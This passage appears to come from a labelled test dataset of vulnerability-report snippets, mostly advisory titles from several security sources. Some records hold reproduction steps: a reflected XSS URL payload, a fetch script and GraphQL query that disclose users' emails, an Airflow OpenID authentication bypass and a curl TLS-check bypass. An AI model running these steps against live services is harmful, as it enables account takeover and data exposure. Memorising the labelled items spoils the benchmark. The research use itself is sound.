frames to trigger the error.\nThis would result in a memory leak for every malformed frame received, consequently using all available memory. \n\n\n\n## Steps To Reproduce:\n\n 1. compile `nghttp2` with {F3099706} applied\n 1. compile {F3099707}\n 1. run `nghttpd -p/=/foo.bar --no-tls 8181`\n 1. run `valgrind --leak-check=full ./http2_push_headers`\n\nfor each `-p` option `nghttpd` will send 200 `PUSH_PROMISE` frames with invalid `:scheme` header\n\n## Supporting Material/References:\n\n`valgrind --leak-check=full ./http2_push_headers` output:\n```\n==5247== \n==5247== HEAP SUMMARY:\n==5247== in use at exit: 162,946 bytes in 873 blocks\n==5247== total heap usage: 7,170 allocs, 6,297 frees, 1,696,049 bytes allocated\n==5247== \n==5247== 70,400 bytes in 200 blocks are definitely lost in loss record 6 of 7\n==5247== at 0x48485EF: calloc (vg_replace_malloc.c:1340)\n==5247== by 0x48ADC29: http2_data_setup (http2.c:249)\n==5247== by 0x48AF154: h2_duphandle (http2.c:789)\n==5247== by 0x48AF420: push_promise (http2.c:877)\n==5247== by 0x48AFCF6: on_stream_frame (http2.c:1065)\n==5247== by 0x48B08C7: on_frame_recv (http2.c:1265)\n==5247== by 0x4C36AE3: nghttp2_session_mem_recv (in /usr/lib64/libnghttp2.so.14.26.0)\n==5247== by 0x48AE851: h2_process_pending_input (http2.c:551)\n==5247== by 0x48B294F: h2_progress_ingress (http2.c:1930)\n==5247== by 0x48B2B54: cf_h2_recv (http2.c:1969)\n==5247== by 0x4877F03: Curl_conn_recv (cfilters.c:183)\n==5247== by 0x48DB1B3: Curl_read (sendf.c:813)\n==5247== \n==5247== LEAK SUMMARY:\n==5247== definitely lost: 70,400 bytes in 200 blocks\n==5247== indirectly lost: 0 bytes in 0 blocks\n==5247== possibly lost: 0 bytes in 0 blocks\n==5247== still reachable: 92,546 bytes in 673 blocks\n==5247== suppressed: 0 bytes in 0 blocks\n==5247== Reachable blocks (those to which a pointer was found) are not shown.\n==5247== To see them, rerun with: --leak-check=full --show-leak-kinds=all\n==5247== \n==5247== For lists of detected and suppressed errors, rerun with: -s\n==5247== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)\n```\n\n## Impact\n\ndenial of service", "source": "hackerone", "timestamp": "2024-03-27", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "8ed77a8c73079c92ab3a", "text": "ABB Cylon FLXeon 9.3.4 Unauthenticated Dashboard Access\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-02-14", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "095bad15fe6439979a37", "text": "I never really liked THM, imo it’s too easy, even for beginners and it gives you a false idea of confidence (could be wrong, I’m open for discussion). Like both @Magnus and @hoek mentioned, HTB Academy and Portswigger Academy are pretty good. I’ll say CEH is not the best way to go, tho I have limited experience/knowledge about it. About shaping your career I’d say go with whatever you feel like doing (pentesting, malware, whatever) but make sure you do a lot of practical/hands-on-keyboard work. That’s the only real thing that matters. Labs, bug bounties, writing malware, whatever. Just do and break stuff.", "source": "0x00sec", "timestamp": "2026-02-10", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "5ed0197c456a439af573", "text": "ABB Cylon Aspect 3.07.02 (userManagement.php) Weak Password Policy\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2025-01-06", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "0980fcb90670f9ad07ae", "text": "ABB Cylon FLXeon 9.3.4 (cert.js) System Logs Information Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-02-13", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "4b57a5274b5031076b91", "text": "[Improper Authentication - Generic] CVE-2024-25128: Apache Airflow: Authentication Bypass when Legacy OpenID(2.0) is in use as AUTH_TYPE\n\nWhen OpenID(2.0) is in use as Authentication Type, it is possible for an attacker to forge authentication to any existing account in the Target Airflow installation. This was possible via deceiving the backend of app to trust arbitrary OpenID 2.0 Identity Provider(even if the provider is not in the trusted IDP list in config). In conclusion, an attacker could deploy their own IDP and could alter the target app's authentication fully and gain unauthorized access.\n\nThe Impact is `Critical` but as OpenID(2.0) is a legacy mechanism, the severity was lowered to `Medium` on the basis of low usage probability.\n\n### Details:\nAirflow uses Flask-AppBuilder as basic authenication and authorization manager under the hood. It is possible to configure the service in the Airflow config file for desired Authentication option. The Options for using OpenID 2.0 as auth type is as following:\n1. `AUTH_TYPE = AUTH_OID` should be defined\n2. Uncommenting the following lines:\n\n{F3097175}\nAs it is seen from the attachment, there is a predefined list of allowed IDPs, normally the backend should have checked for provided values(idp urls) from client with the allowed idp list in backend, but didn't.\n\n#### Attack flow\nWhen OpenID(2.0) is enabled, the login page of Airflow looks like this:\n\n{F3097214}\n\nSelecting a provider from list and clicking `Sign In` button triggers a request like this:\n\n{F3097199}\n\nThe one body parameter of this `POST` request to `/login/` page, `openid` is used to define IDP provider Url. An attacker could change this url to their malicious IDP and can make a `fake` authentication and deceive the backend to trust it(as the `allowed providers` check wasn't properly done).\nFor a quick Proof of Concept demonstration, 'https://openstackid.org' idp can be used:\n\n{F3097206}\n\nAfter successful auth with provider, the attacker will be redirected to Airflow and logged in as target existing user account:\n\n{F3097209}\n\nLeading to Full Account Hijacking\n\n### Advisory and Acknowledgement Details\nThe Project Advisory:\nhttps://lists.apache.org/thread/kf5kyfl6626kmp1wlxm6h0gk7vobny0y\n\nThe Github Advisory:\nhttps://github.com/dpgaspar/Flask-AppBuilder/security/advisories/GHSA-j2pw-vp55-fqqj\n\nScreenshot of email from the Team for Acknowledgement:\n\n████\n\nExtra screenshot, from a part of report email:\n\n██████████\n\n## Impact\n\nFull Authentication Bypass via deceiving the backend server to trust arbitrary OpenID(2.0) IDPs.", "source": "hackerone", "timestamp": "2024-04-28", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "2db412a5f842cb7b71e4", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "329b573f1e595dfe8d4a", "text": "ABB Cylon Aspect 3.08.01 (databaseFileDelete.php) Arbitrary File Delete\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-09-23", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "7da8b0c622090714a2ba", "text": "vict0ni: There should be a way to make it more accessible without dumbing down the content. I think that’s the problem. You can’t realistically have one without the other. A larger audience will inevitably have a larger diversity of skills and mindsets. I point you towards my observations of the largest conferences as anecdotal evidence. Not just Defcon, it’s happening here with the largest conference in my country too. I think that smaller, tighter-knit or invite-only conferences are always the best, from a very limited sample set with more anecdotal evidence. vict0ni: Communities should not be opposed to those people, even if they are inexperienced. But this should come with actual effort from their side! I think it’s hard to know if someone would actually put in effort or not. I would wager that it’s the far minority who do. I don’t mean all communities should gatekeep though, just the smaller ones who want to get things done. The people in those smaller circles can always reach out and invite others in after some vetting. The larger and accessible communities can stay as they are now and possible serve as an intermediary space for people to meet. You know, as they already are. vict0ni: This to an excess can lead to not allowing any new people to learn from more experienced ones, which is also part of this community imo. Part of me is resisting the urge to say “skill issue” but another part also believes that fresh people learning shouldn’t actually be the problem. I might be biased because I am basically completely self-taught in a time where the internet wasn’t filled with blogs regurgitating the same information a hundred times and everyone attempting to sell their own courses. Learning beginner concepts should theoretically be the easiest part since there’s so much out there to find. Although I will say that getting started could be a problem since you don’t know where to look for anything. But that’s part of the skills and mindset you should have regardless if you want to participate in higher-quality communities. Otherwise we end up right back to the issue of those people who make bad experiences for people who want to get things done. They’re always yapping about how to do this or do that when they should just experiment and learn by themselves. Larger communities can stay accessible as they are, but if you want better communities, I still think fragmenting off into smaller ones and gatekeeping them is the right call. You can’t have your cake and eat it too.", "source": "0x00sec", "timestamp": "2026-04-14", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "eaef69fb5efa18dc3160", "text": "eNet SMART HOME server 2.3.1 (setUserGroup) Remote Privilege Escalation\n\nSeverity: high", "source": "zeroscience", "timestamp": "2026-02-14", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "6a542bceb83d568b7693", "text": "TELSAT marKoni FM Transmitter 1.9.5 Client-Side Access Control Bypass\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-01-31", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "10399e2e30d91c10b97f", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "5639a342c18fbfe470dd", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "05ebc4a27896c2ee8cf2", "text": "Akuvox Smart Intercom/Doorphone ServicesHTTPAPI Improper Access Control\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-11-26", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "294c34a93e7feb6d0983", "text": "ABB Cylon Aspect 3.08.01 (logCriticalLookup.php) Unauthenticated Log Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-10-22", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "c293c7435cc89680e3c2", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "ba1179455994192e9e02", "text": "Ilevia EVE X1/X5 Server 4.7.18.0.eden Reverse Rootshell\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-09-05", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "dfd5c86245df05925d05", "text": "ABB Cylon Aspect 3.08.03 (MIX->NTPServlet) Time Manipulation\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "01a722e0b1ee30a07b11", "text": "Ilevia EVE X1 Server 4.7.18.0.eden Unauthenticated Reflected XSS\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-10-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "4bc5ec2117f261f00ead", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "74fb9a57fa2c4439ff7b", "text": "===============\n\nClass: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "021d49a247be501ffbf7", "text": "ABB Cylon Aspect 3.08.03 (logYumLookup.php) Hybrid Path Traversal\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "2a0847c5ecd8f3a6ff49", "text": "JUNG Smart Visu Server 1.1.1050 Request URL Override\n\nSeverity: high", "source": "zeroscience", "timestamp": "2026-02-12", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "d90cb8761d300e981246", "text": "Ilevia EVE X1/X5 Server 4.7.18.0.eden Default Credentials\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-11-03", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "f5782e42d9cada4ac6b0", "text": "Tattile Cameras 1.181.5 Unauthenticated RTSP Stream Disclosure\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2026-02-24", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "57cde543bcb555e67494", "text": "ABB Cylon Aspect 3.08.01 (badassMode) File Upload MD5 Checksum Bypass\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-10-31", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "624dd923c1ae1098689d", "text": "[Cross-site Scripting (XSS) - Reflected] #3 XSS on watchdocs.indriverapp.com\n\n## Summary:\nFound an XSS\n\n## Steps To Reproduce:\n\n 1. Go to https://watchdocs.indriverapp.com/webview/v1/transport-change?phone=██████&token=█████████&service=intercity3&jwt=fw%22%3E%3Cimg%20src=fwa%20onerror=alert(1)%3E\n \n\n## Supporting Material/References:\n████\n\n## Impact\n\nExecute Javascript on any victim browser", "source": "hackerone", "timestamp": "2024-04-11", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "222dcf21636a8eedc197", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "bb06c533210f6dc2b8de", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "93eb3548b48b300293c5", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "620356005f5426050014", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "22a84b9d0d0553ec8e89", "text": "[Seebug SSV-99921] Browser Use WebUI 反序列化漏洞\nSeverity: high\nDate: 2025-04-29\nCVE: N/A", "source": "seebug", "timestamp": "2025-04-29", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "5118fed178cf6a154bcf", "text": "ABB Cylon Aspect 4.00.00 (factorySetSerialNum.php) Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-01-03", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "38c9afe05c0e5f7d8b52", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "84aacb68d2bdb6692828", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "01320380c5560a8ae52d", "text": "Nova_draft101: find / -name *.bak 2>/dev/null |wc -l 4 for *.bak In fact I had 2 files. As I showed some written by other users - system is compromised…", "source": "hackthebox", "timestamp": "2024-07-14", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "5dbc425af0e46447211c", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "eef0cb61bcd5d3d3bb86", "text": "This is really great, thanks for sharing this “hot” information lol…, ur the best++++", "source": "0x00sec", "timestamp": "2026-04-09", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "b5bbcfe7e83289546d63", "text": "ABB Cylon FLXeon 9.3.4 Session Persistence Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-02-13", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "376c9e972e2abe94b5e0", "text": "ABB Cylon Aspect 3.07.02 (user.properties) Default Credentials\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-10-11", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "b193fbd72937be823676", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "cb764ad92c65cf289110", "text": "Pachno 1.0.6 FileCache Deserialization Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2026-04-12", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "8dc9fa52ba20848b95eb", "text": "ABB Cylon Aspect 3.08.01 (pupDumpStats.php) Information Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-12-11", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "a726e717be7d8eb1d090", "text": "[Violation of Secure Design Principles] fetch with integrity option is too lax when algorithm is specified but hash value is in incorrect\n\n__A potential solution is attached as 0001-improve-bytesMatch.patch__\n\n**Summary:** \nI was investigating for some low hanging fruits regarding performance bottlenecks in undici, when I found this potential security issue in undici, and thus in nodejs. First I wrote a benchmark for bytesMatch and saw the following result:\n\n```sh\naras@aras-Lenovo-Legion-5-17ARH05H:~/workspace/undici$ node benchmarks/bytesMatch.mjs \ncpu: AMD Ryzen 7 4800H with Radeon Graphics\nruntime: node v21.6.2 (x64-linux)\n\nbenchmark time (avg) (min … max) p75 p99 p999\n------------------------------------------------------------------------------- -----------------------------\nbytesMatch valid sha256 and base64 2'292 ns/iter (2'009 ns … 9'452 ns) 2'209 ns 7'709 ns 9'452 ns\nbytesMatch invalid sha256 and base64 2'153 ns/iter (2'013 ns … 2'306 ns) 2'209 ns 2'275 ns 2'306 ns\nbytesMatch valid sha256 and base64url 243 ns/iter (205 ns … 318 ns) 261 ns 286 ns 301 ns\nbytesMatch invalid sha256 and base64url 245 ns/iter (203 ns … 400 ns) 264 ns 320 ns 390 ns\n```\n\nSee attached 0001-add-benchmark.patch\n\nSo for some reason base64url was significantly faster than base64, even in the invalid case. So further investigations resulted in the finding that parseHashWithOptions in the underlying undici library is not matching base64url encoded hashes. Worse it is not matching any algorithms provided with invalid hashes. E.g. `sha256--` wont result in detecting that a sha256 hash was provided, thus skipping totally the whole SRI check.\n\nhttps://github.com/nodejs/undici/blob/e1195cbf32cb5f10f25e820d580264f24c7edc71/lib/fetch/util.js#L591\n\n\n## Steps To Reproduce:\n\nSee attached 0001-add-test.patch. It contains unit tests, which you can run against main branch.\n\n## Impact: \n\nResources which should be checked via SRI Logic are loaded nonetheless. \n\n## Supporting Material/References:\n\n * List any additional material (e.g. screenshots, logs, references, commits, code examples, etc.).\n\n## Impact\n\nResources which should be checked via SRI Logic are loaded nonetheless.", "source": "hackerone", "timestamp": "2024-05-03", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "2de91142a71f682abfe8", "text": "ABB Cylon Aspect 3.07.01 (config.inc.php) Hard-coded Credentials in phpMyAdmin\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-09-26", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "836330d80a24a229cb64", "text": "Pachno 1.0.6 (runSwitchUser()) Remote Vertical Privilege Escalation\n\nSeverity: high", "source": "zeroscience", "timestamp": "2026-04-12", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "9bc9fc140f3a79529f59", "text": "[Information Disclosure] Creation of bounties through Customer API leads to private email disclosure\n\n**Summary:**\nHello team,\nIt is possible to reveal any user email using the `BountiesHistoryQuery` request.\nTo demonstrate this, I will make use of both the API and the graphql requests.\n\n### Steps To Reproduce\n\n1. Log in to your account and create a demo\n2. Head over to https://hackerone.com/organizations/████/settings/api_tokens and create a token with the report manager role\n3. Head over to any profile of a user in hackerone and copy their user id\n4. Use this request below to award a program bounty to that user using the API. `recipient_id` is the id of any user and `{id}` is your sandbox program id.\n```\nlet inputBody = \"{\\n \\\"data\\\": {\\n \\\"type\\\": \\\"bounty\\\",\\n \\\"attributes\\\": {\\n \\\"recipient_id\\\": \\\"██████████\\\",\\n \\\"amount\\\": 51,\\n \\\"reference\\\": \\\"newbounty\\\",\\n \\\"title\\\": \\\"BOUNTY FROM Sandbox\\\",\\n \\\"currency\\\": \\\"USD\\\",\\n \\\"severity_rating\\\": \\\"high\\\"\\n }\\n }\\n}\";\nlet user = 'identifier';\nlet password = 'token';\nlet headers = new Headers();\nheaders.set('Authorization', 'Basic ' + btoa(user + \":\" + password));\n headers.set('Content-Type', 'application/json'); headers.set('Accept', 'application/json');\n\nfetch('https://api.hackerone.com/v1/programs/{id}/bounties',\n{\n method: 'POST',\n body: inputBody,\n headers: headers\n})\n.then(function(res) {\n return res.json();\n}).then(function(body) {\n console.log(body);\n});\n\n```\n5. You will get a success message\n\n██████\n6. After awarding the bounty, make the following Graphql request. Where `handle` is the handle of your sandbox team\n```\n{\"operationName\":\"BountiesHistoryQuery\",\"variables\":{\"handle\":\"████\",\"pageSize\":25,\"product_area\":\"other\",\"product_feature\":\"other\"},\"query\":\"query BountiesHistoryQuery($handle: String!, $pageSize: Int!, $cursor: String) {\\n team(handle: $handle) {\\n id\\n currency\\n offers_bounties\\n state\\n bounties(first: $pageSize, after: $cursor) {\\n pageInfo {\\n endCursor\\n hasNextPage\\n __typename\\n }\\n edges {\\n node {\\n id\\n awarded_user{username} invitations{email token} awarded_amount\\n awarded_bonus_amount\\n created_at\\n report {\\n id\\n database_id: _id\\n reporter {\\n email id\\n username\\n __typename\\n }\\n title\\n __typename\\n }\\n total_awarded_amount\\n __typename\\n }\\n __typename\\n }\\n __typename\\n }\\n __typename\\n }\\n}\\n\"}\n```\n7. Notice the email of the user is shown in the response\n\n█████████\n\n## Impact\n\nReveal any user email", "source": "hackerone", "timestamp": "2024-03-26", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "0d1d3b4e1346800c1062", "text": "Ksenia Security Lares WebServer Home Automation Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-03-31", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "d2b2bce730a8eb8a82a6", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "9047ba84e783d6427389", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "1ec5e1afb325e3c3f00a", "text": "ABB Cylon Aspect 3.08.03 Hard-coded Secrets\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-01-06", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "9a7274ee1ab626179d96", "text": "ABB Cylon Aspect 3.08.02 Cookie User Password Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-01-06", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "c546aaf3a2d4d61796b9", "text": "ABB Cylon FLXeon 9.3.5 (bbmdList.js) Authenticated Config Poisoning\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-19", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "27a3ebf6390bdf36b2ff", "text": "[Unknown] CVE-2024-27281: RCE vulnerability with .rdoc_options in RDoc\n\nI made a report at https://hackerone.com/reports/1187477\n\nhttps://www.ruby-lang.org/en/news/2024/03/21/rce-rdoc-cve-2024-27281/\n\n> An issue was discovered in RDoc 6.3.3 through 6.6.2, as distributed in Ruby 3.x through 3.3.0.\n> When parsing .rdoc_options (used for configuration in RDoc) as a YAML file, object injection and resultant remote code execution are possible because there are no restrictions on the classes that can be restored.\n> When loading the documentation cache, object injection and resultant remote code execution are also possible if there were a crafted cache.\n\n## Impact\n\nRCE is possible when the `rdoc` command is executed for a repository received from the external.", "source": "hackerone", "timestamp": "2024-03-29", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "9e93cf572e4788aa3c7b", "text": "ABB Cylon Aspect 3.08.01 (caldavUtil.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-10-06", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "6dd73b1ce6a219f108cc", "text": "eNet SMART HOME server 2.3.1 Use of Default Credentials\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2026-02-14", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "f431a335aa547620a01b", "text": "BYOVD: Silencing AV/EDR with CVE-2023-52271\n\nThis topic is for discussion of the post BYOVD: Silencing AV/EDR with CVE-2023-52271 . Bring Your Own Vulnerable Device (BYOVD) is a technique used in red teaming that allows users with perform kernel-level actions by exploiting a vulnerable, legitimately signed kernel device driver. Please feel free to discuss the post and ask any questions in this topic", "source": "0x00sec", "timestamp": "2026-02-12", "split": "test", "label_source": "within_source_cve_index", "label": 1} {"id": "0b915b5d8bbc0aef1e97", "text": "[Improper Access Control - Generic] Can download files by zipping the folder\n\n1. Create folder and share it as view-only\n\n{F2846936}\n\n2. Access this folder with Testuser\n\n{F2846943}\n\n\n3. Go one level up and compress the whole folder\n\n{F2846942}\n\n4. The zip file can be downloaded and extracted locally\n\n{F2846939}\n{F2846941}\n\n\n5. The folder itself can not be downloaded directly\n\n{F2846937}\n\n## Impact\n\nCan download files without download permissions", "source": "hackerone", "timestamp": "2024-02-17", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "21bd3692f7547cf4b6ea", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "f2f12b3f3e0416f0ac06", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "5e7f84e1b625d510a1ec", "text": "Hi Emirhan, thanks for reaching out. Wherever you’re studying from I’m glad to hear you’ve taken an interest in this project. It had been a delightful haunt for me for days when I came across it. How much do you know about the JPEG specification and how JPEG files work? Sending headers and quantization and Huffman tables is highly redundant as the data need only contain the SOS(Start of actaully data scan) if the source and the destination are both already fully aware of the nature and format specification of the data its receiving. You wont find the typical FF D8 and FF D9 markers in it as such but that is not necessary to decode JPEG", "source": "hackthebox", "timestamp": "2024-08-14", "split": "test", "label_source": "within_source_cve_index", "label": 0} {"id": "232a66bbdb0c41c4fac7", "text": "[Improper Validation of Certificate with Host Mismatch] CVE-2024-2466: TLS certificate check bypass with mbedTLS\n\n## Summary:\n\nCurl library has a security vulnerability where the certificate name check is bypassed when connecting to a host via its IP address. This could potentially introduce spoofing attacks or unauthorized access due to unverified server certificate.\n\nThis issue only affects the Curl with MbedTLS.\n\n- Affected versions: from libcurl 8.5.0 to and including 8.6.0 (current master versions at the time of writing)\n- Not affected versions: libcurl 8.4.0 and earlier\n\nThis issue affect all kinds of protocol over TLS session, e.g. HTTPS, FTPS, SMTPS, etc.\n\n## Steps To Reproduce:\n\n### (Preparation) Download and build the Curl with MbedTLS:\n\n*Skip this step if you already have the Curl (>= 8.5.0) with MbedTLS.*\n\nBefore building the code, make sure you have environment to build the code in Linux, `sudo apt install build-essential`.\n\n1. Get and extract the code:\n\n```shell\nwget https://curl.se/download/curl-8.6.0.tar.gz -O curl-8.6.0.tar.gz\nwget https://github.com/Mbed-TLS/mbedtls/archive/refs/tags/v2.28.7.tar.gz -O mbedtls-2.28.7.tar.gz\ntar zxf curl-8.6.0.tar.gz\ntar zxf mbedtls-2.28.7.tar.gz\n```\n\n2. Build MbedTLS:\n\n```shell\ncd mbedtls-2.28.7\nmake SHARED=1 -j$(nproc)\nsudo make install DESTDIR=/usr/local/lib\n```\n\n3. Build Curl with MbedTLS:\n\n```shell\ncd curl-8.6.0\nexport LD_LIBRARY_PATH=/usr/local/lib\nexport PATH=/usr/local/lib:$PATH\n./configure --with-mbedtls=/usr/local --without-libpsl\nmake -j$(nproc) CFLAGS=\"-I/usr/local/include\" LDFLAGS=\"-L/usr/local/lib\"\n```\n\n### Reproduce the issue via Curl CLI:\n\nIf you build the Curl with MbedTLS from above, you should export the `LD_LIBRARY_PATH` and `PATH` to use the built Curl.\n\n```shell\nexport LD_LIBRARY_PATH=/usr/local/lib\nexport PATH=/usr/local/lib:$PATH\n```\n\n1. Check the version of the Curl:\n\n```shell\n$ curl --version\ncurl 8.6.0 (x86_64-pc-linux-gnu) libcurl/8.6.0 mbedTLS/2.28.7 zlib/1.2.11 libidn2/2.2.0\nRelease-Date: 2024-01-31\nProtocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp\nFeatures: alt-svc AsynchDNS HSTS HTTPS-proxy IDN IPv6 Largefile libz NTLM SSL threadsafe UnixSockets\n```\n\n2. Get IP from an example https server and use it to connect:\n\n```shell\n$ host -t A www.example.org\nwww.example.org has address 93.184.216.34\n$ curl https://93.184.216.34\n\n\n\n
\n